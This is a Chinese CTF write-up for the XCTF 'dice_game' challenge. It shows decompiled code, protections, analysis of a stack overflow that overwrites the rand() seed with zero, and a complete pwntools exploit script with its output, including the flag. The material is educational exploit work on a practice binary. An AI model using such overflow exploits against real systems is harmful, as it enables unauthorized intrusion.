IDA
主函数:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]
memset(buf, 0, 48uLL);
*(_QWORD *)seed = time(0LL); //随机数种子
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 80uLL); // overflow
if ( v6 <= 49 )
buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
printf("Game %d/50\n", v8);
v5 = sub_A20();
fflush(stdout);
if ( v5 != 1 )
break;
if ( v8 == 50 )
{
sub_B28((__int64)buf);
break;
}
++v8;
}
puts("Bye bye!");
return 0LL;
}
signed __int64 sub_A20()
{
signed __int64 result; // rax
__int16 v1; // [rsp+Ch] [rbp-4h]
__int16 v2; // [rsp+Eh] [rbp-2h]
printf("Give me the point(1~6): ");
fflush(stdout);
_isoc99_scanf("%hd", &v1); //scanf的格式化字符串,h代表短数据,l代表长数据
if ( v1 > 0 && v1 <= 6 )
{
v2 = rand() % 6 + 1; //v2 == 1~6
if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 24u, "dice_game"); //无视
if ( v1 == v2 )
{
puts("You win.");
result = 1LL;
}
else
{
puts("You lost.");
result = 0LL;
}
}
else
{
puts("Invalid value!");
result = 0LL;
}
return result;
}
后门:
int __fastcall sub_B28(__int64 a1)
{
char s; // [rsp+10h] [rbp-70h]
FILE *stream; // [rsp+78h] [rbp-8h]
printf("Congrats %s\n", a1);
stream = fopen("flag", "r");
fgets(&s, 100, stream);
puts(&s);
return fflush(stdout);
}
checksec
hunter@hunter:~/PWN/XCTF/xctf_challenge/dice_game$ checksec dice_game
[*] '/home/hunter/PWN/XCTF/xctf_challenge/dice_game/dice_game'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
hunter@hunter:~/PWN/XCTF/xctf_challenge/dice_game$
hunter@hunter:~/PWN/XCTF/xctf_challenge/dice_game$ ./dice_game
Welcome, let me know your name: dad
Hi, dad. Let's play a game.
Game 1/50
Give me the point(1~6): 2
You lost.
Bye bye!
保护全开几乎全开,结合上面的后门应该主要目的是实现跳转。
伪代码分析
main函数中:
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]
v6 = read(0, buf, 80uLL); // overflow
显然可以读入80个字符,而buf到rbp的距离也是80个字符(0x50),所以 这里定义的变量都可以覆盖成我们想要的
signed __int64 sub_A20()函数中:
_isoc99_scanf("%hd", &v1); //scanf的格式化字符串,h代表短数据,l代表长数据
if ( v1 > 0 && v1 <= 6 )
{
v2 = rand() % 6 + 1; //v2 == 1~6
if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 24u, "dice_game"); //无视
if ( v1 == v2 )
{
puts("You win.");
result = 1LL;
}
else
{
puts("You lost.");
result = 0LL;
}
}
else
{
puts("Invalid value!");
result = 0LL;
}
return result;
}
主要功能是读入一个短整型数字于随机数进行比较,相等则 you win。在main函数中对该函数的调用可知这个比较会进行50次
成功比到50次后就进入后门获取flag
思路
程序想让我们和随机数 成功比对50次,这显然是不可能的。所以我们利用buf数组的溢出将随机数种子篡改为0.因为随机数种子在read之前就赋值了,我们篡改后就会固定不变。
(之前我一直在想办法篡改v8,使其等于50,这样我成功猜对一个数就行了,但是v8的赋值是在read之后所以,还是会被改回来。为此我在这里花了近两个小时,很烦)
获取随机数
在linux中编写一个获取随机数的程序(不要再Windows中,因为环境不一样)
#include<stdio.h>
#include<stdlib.h>
int main()
{
unsigned int seed[2] = {0};
srand(seed[0]);
for(int i=0;i<50;i++)
{
printf("%d,",rand() % 6 + 1);
}
return 0;
}
结果:
hunter@hunter:~/PWN/XCTF/xctf_challenge/dice_game$ ./test
2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1,
直接复制下来当作脚本元组
EXP
from pwn import*
from time import*
context.log_level = 'debug'
#sh = process('./dice_game')
sh = remote('220.249.52.133',52660)
print sh.recv()
payload = 'A'*64 + p64(0) + 'BBBB' + p32(50) #这波是没注意v8的赋值问题,浪费时间的证据
#gdb.attach(sh) #主要是p64(0)这里篡改了seed[2]的值起作用
sh.sendline(payload)
print sh.recv()
rand = (2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1)
for i in range(50):
seed = str(rand[i])
sh.sendline(seed)
#leep(1)
print sh.recv()
sh.interactive()
结果:
You win.
Game 50/50
Give me the point(1~6): You win.
Congrats AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP
cyberpeace{3c15b24b5df0e56ae8d362d6a0f9c8dc}
Bye bye!
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$